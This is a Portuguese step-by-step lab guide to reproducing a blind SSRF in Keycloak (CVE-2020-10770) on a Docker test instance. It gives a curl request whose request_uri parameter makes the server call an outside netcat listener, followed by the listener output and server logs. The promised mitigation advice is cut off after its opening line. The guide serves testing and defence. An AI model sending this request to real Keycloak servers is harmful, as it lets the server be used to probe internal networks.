
Guia passo a passo para reproduzir a vulnerabilidade de SSRF cego no Keycloak (CVE-2020-10770) com configuração Docker, configuração do listener e conselhos de mitigação.
Este é um passo a passo sobre como testar a SSRF cega (CVE-2020-10770) encontrada por Lauritz Holtmann e documentada em seu post no blog.
Ele também explicou brevemente como testá-la. Esta é apenas uma explicação mais detalhada.
Todos os créditos vão para Lauritz.
Eu uso Docker no Mac OSX aqui.
Precisei de três shells, um executando a instância do Keycloak, um para o listener e um para a requisição curl.
Você precisa de uma instância do Keycloak em execução com versão <= 12.0.1.
Você pode iniciar uma instância de teste com o seguinte comando.
docker run -p 9990:9990 -p 8080:8080 -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin jboss/keycloak:12.0.1
Acesse http://localhost:8080/auth/admin/ em um navegador e faça login com o nome de usuário "admin" e a senha "admin".
No lado esquerdo, mude para o menu "Clients". Isso o levará à visão geral de Clients.

No lado direito, clique em "Create" para criar um novo cliente. Isso o levará à página de criação de cliente.

Escolha um "Client ID" razoável para seu cliente Oauth2. Eu uso "blueteamoauth2client" aqui (este é o seu <Keycloak_Client_ID>). Se você usar outro Client ID, terá que alterar um parâmetro de consulta na requisição HTTP do ataque. Clique em salvar para finalizar a configuração do cliente.

Agora você verá as configurações do nosso novo cliente Oauth2.

Isso é tudo para a parte do defensor.
Você precisa de um listener que aceite a requisição que queremos disparar com nossa SSRF. Portanto, o IP e a porta devem ser alcançáveis a partir do servidor Keycloak.
Você não pode usar localhost nesse caso, porque do ponto de vista do Keycloak, localhost estará dentro do próprio contêiner.
Para recuperar o endereço IP no Mac OS, você pode usar
for iface in $(ifconfig | grep ^en | awk -F\: {'print $1'}); do ipconfig getifaddr $iface; done
Eu escolhi iniciar o listener no meu sistema host na porta 4444.
nc -v -l 4444
Em outro shell, você precisa fazer uma requisição com curl. Você deve alterá-la de acordo com suas necessidades.
curl "http://<Keycloak_host_or_ip>:<Keycloak_port>/auth/realms/<Keycloak_realm>/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=<Keycloak_Client_ID>&request_uri=http://<Netcat_listener_ip>:<Netcat_listener_port>/"
As partes importantes são:
Portanto, a consulta no meu caso é
curl "http://localhost:8080/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=blueteamoauth2client&request_uri=http://192.168.178.222:4444/"
No listener netcat, você verá algo assim.
bash-3.2$ nc -v -l 4444
GET / HTTP/1.1
Host: 192.168.178.222:4444
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/11.0.9.1)
Accept-Encoding: gzip,deflate
bash-3.2$
Isso significa que a instância do Keycloak fez uma chamada HTTP para o seu listener.
Também haverá entradas sobre isso nos logs do Keycloak.
13:37:28,855 WARN [org.keycloak.services] (default task-16) KC-SERVICES0097: Invalid request: java.net.SocketTimeoutException: Read timed out
at java.base/java.net.SocketInputStream.socketRead0(Native Method)
at java.base/java.net.SocketInputStream.socketRead(SocketInputStream.java:115)
(...)
13:37:28,877 WARN [org.keycloak.events] (default task-16) type=LOGIN_ERROR, realmId=master, clientId=blueteamoauth2client, userId=null, ipAddress=172.17.0.1, error=invalid_request
Para mitigar isso, você poderia: